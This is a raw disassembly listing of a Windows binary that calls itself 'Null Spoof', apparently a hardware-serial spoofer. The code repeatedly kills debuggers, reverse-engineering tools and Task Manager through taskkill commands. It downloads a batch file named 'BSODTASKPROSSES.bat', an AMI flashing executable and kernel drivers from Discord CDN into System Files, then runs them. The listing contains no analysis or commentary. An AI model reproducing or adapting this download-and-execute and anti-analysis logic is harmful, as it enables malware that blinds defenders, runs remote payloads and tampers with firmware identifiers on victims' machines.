lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov r9d, Ordinal_50
lea r8, str.ACTIVATED
lea rdx, str.Null_Spoof
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xe270]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xe250]
call fcn.14005d9d0
lea rcx, [rsp + 0xe250]
call fcn.14005d8d0
mov qword [rsp + 0x948], rax
lea rcx, [rsp + 0xe270]
call fcn.14005d8d0
mov qword [rsp + 0x950], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x948]
mov rdx, qword [rsp + 0x950]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocleanerrandom.bat
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, [rsp + 0xe250]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe270]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe290]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe2b0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe2d0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe2f0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe310]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe330]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe350]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe370]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe390]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe3b0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe3d0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe3f0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe410]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe430]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe450]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe470]
call fcn.14005d8e0
mov dword [rsp + 0x20], 0xffffffff
mov r9d, 7
lea r8, str.Custom_Serials_Changer
lea rdx, [0x140406d74]
lea rcx, str.test
call fcn.1400f7e70
movss xmm1, dword [0x14039cef4]
xorps xmm0, xmm0
call fcn.1400cdb80
movss xmm2, dword [0x14039ce0c]
movss xmm1, dword [0x14039ce3c]
lea rcx, [rsp + 0x1ce0]
call fcn.14005eef0
mov rdx, rax
lea rcx, str.Spoof
call fcn.1400f5190
movzx eax, al
test eax, eax
je 0x1400a0ac6
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
cmp dword [0x140406d74], 0
jne 0x14008767d
call fcn.14006ba20
call fcn.14006ba70
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xc770]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xc750]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xc750]
call fcn.14005d8d0
mov qword [rsp + 0x958], rax
lea rcx, [rsp + 0xc770]
call fcn.14005d8d0
mov qword [rsp + 0x960], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x958]
mov rdx, qword [rsp + 0x960]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystem32Mobo.exe
lea rdx, str.https:__cdn.discordapp.com_attachments_995890179493605376_1138723769226113054_AMI.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystem32_amifldrv64.sys
lea rdx, str.https:__cdn.discordapp.com_attachments_995890179493605376_1138723769909780491_amifldrv64.sys
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystem32_amifldrv32.sys
lea rdx, str.https:__cdn.discordapp.com_attachments_995890179493605376_1138723769582620694_amifldrv32.sys
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Windows_nfLauncher.exe
lea rdx, str.https:__cdn.discordapp.com_attachments_995890179493605376_1139989094840152174_nfLauncher.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8a18]
call fcn.14005d9d0
mov qword [rsp + 0x968], rax
mov rax, qword [rsp + 0x968]
mov qword [rsp + 0x970], rax
mov r8, qword [rsp + 0x970]
lea rdx, [0x140396480]
lea rcx, [rsp + 0xc730]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8a18]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8a38]
call fcn.14005d9d0
mov qword [rsp + 0x978], rax
mov rax, qword [rsp + 0x978]
mov qword [rsp + 0x980], rax
mov r8, qword [rsp + 0x980]
lea rdx, str.C:WindowsSystem32Mobo.exe__EDX
lea rcx, [rsp + 0xc710]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8a38]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8a58]
call fcn.14005d9d0
mov qword [rsp + 0x988], rax
mov rax, qword [rsp + 0x988]
mov qword [rsp + 0x990], rax
mov r8, qword [rsp + 0x990]
lea rdx, str.C:WindowsSystem32Mobo.exe__ECX
lea rcx, [rsp + 0xc6f0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8a58]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8a78]
call fcn.14005d9d0
mov qword [rsp + 0x998], rax
mov rax, qword [rsp + 0x998]
mov qword [rsp + 0x9a0], rax
